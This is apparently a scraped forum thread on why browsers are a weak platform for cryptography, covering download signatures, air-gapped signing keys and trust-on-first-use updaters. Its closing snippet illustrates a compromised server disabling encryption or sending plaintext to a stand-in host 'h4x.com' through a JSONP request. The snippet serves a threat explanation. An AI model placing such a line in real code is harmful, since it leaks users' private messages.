For instance you can have a greasemonkey script that tells you when the crypto code is different from last time.
The best solution realistically would be SSL plus encrypting data first in the browser (separately encrypt the data and the transmission of it).
Best solution is not to try to build any kind of webapp that touches client-side crypto. If you have to, package everything in an extension since you'll need one to distribute your public key anyway.
BUT...
That said, this entire post is about why even when the fundamentals of exposing cryptographic primitives into the browser are solved, the browser is still a bad platform for cryptography applications, particularly when the user doesn't want to trust the server.
when i download security relevant software, the website usually gives me a hash/signature of the download file, so i can verify afterwards whether the data i downloaded really is the file i want or whether it has been tampered with.
but in case an attacker switches the downloaded file for a malignant one, why should s/he be so stupid and not also switch the hash/signature on the website? i am positive i am missing something, as really smart people [0] are doing this, but i do not get it. thanks in advance.
Because the signature only has to be generated when a new version of the file is released, you can use the most bothersome (and effective) manual methods of security, like keeping the private key on an air gapped [2] computer.
So if an attacker manages to switch the downloaded file for a malicious one, they may still not have got access to the private key used for release signing.
Of course, the attacker could still remove all links to the signature file and all mention of it in the public documentation, so downloaders wouldn't know there was a signature to check. So it's better if the site isn't compromised in the first place.
[1] https://en.wikipedia.org/wiki/Public-key_cryptography [2] https://en.wikipedia.org/wiki/Air_gap_%28networking%29
What they're assuming is that someone who has compromised the download servers won't also compromise the rest of the web site. That's certainly a possibility though.
An attacker who compromises both could trick you into downloading compromised software, even though you're checking the hashes from the web site. There are also multiple ways they could pull this off.
For what it's work, much of The Update Framework work which I referenced in the blog post has come out of Thandy, the Tor updater. The model Tor is providing here is often referred to as TOFU, or "Trust On First Use", i.e. once you have received a good copy of Thandy, you will continue to receive uncompromised versions of the software.
i wonder if having a public, open-source cdn specifically for crypto libs with known sha256 signatures and having a standard way to "require" them in the html standard that differs from how regular scripts can be included/injected now. or even include them in browsers so they're auto-updated by the vendors or some central trusted authority.
not true. if i distribute an app that encrypts user data (based on a username/password-derived key), stores it on a server, and lets them access it anywhere (from the app), the server can be stupid as a bag of rocks and know nothing about the data, and more importantly, require absolutely no trust from the client because the client encrypts everything via code it owns. at this point, the user only needs to trust the app and the platform it runs on, because the server has absolutely nothing to do with the encryption.
you can't say, for example, that Lavabit could still provide a service without knowing the recipient's decrypted email address.
var ciphertext = StandardCrypto.aes(my_key, my_message);
// disable crypto
var ciphertext = my_message;
// or send plaintext to h4x.com
send_jsonp('http://h4x.com/collect?msg='+my_message);
var ciphertext = StandardCrypto.aes(my_key, my_message);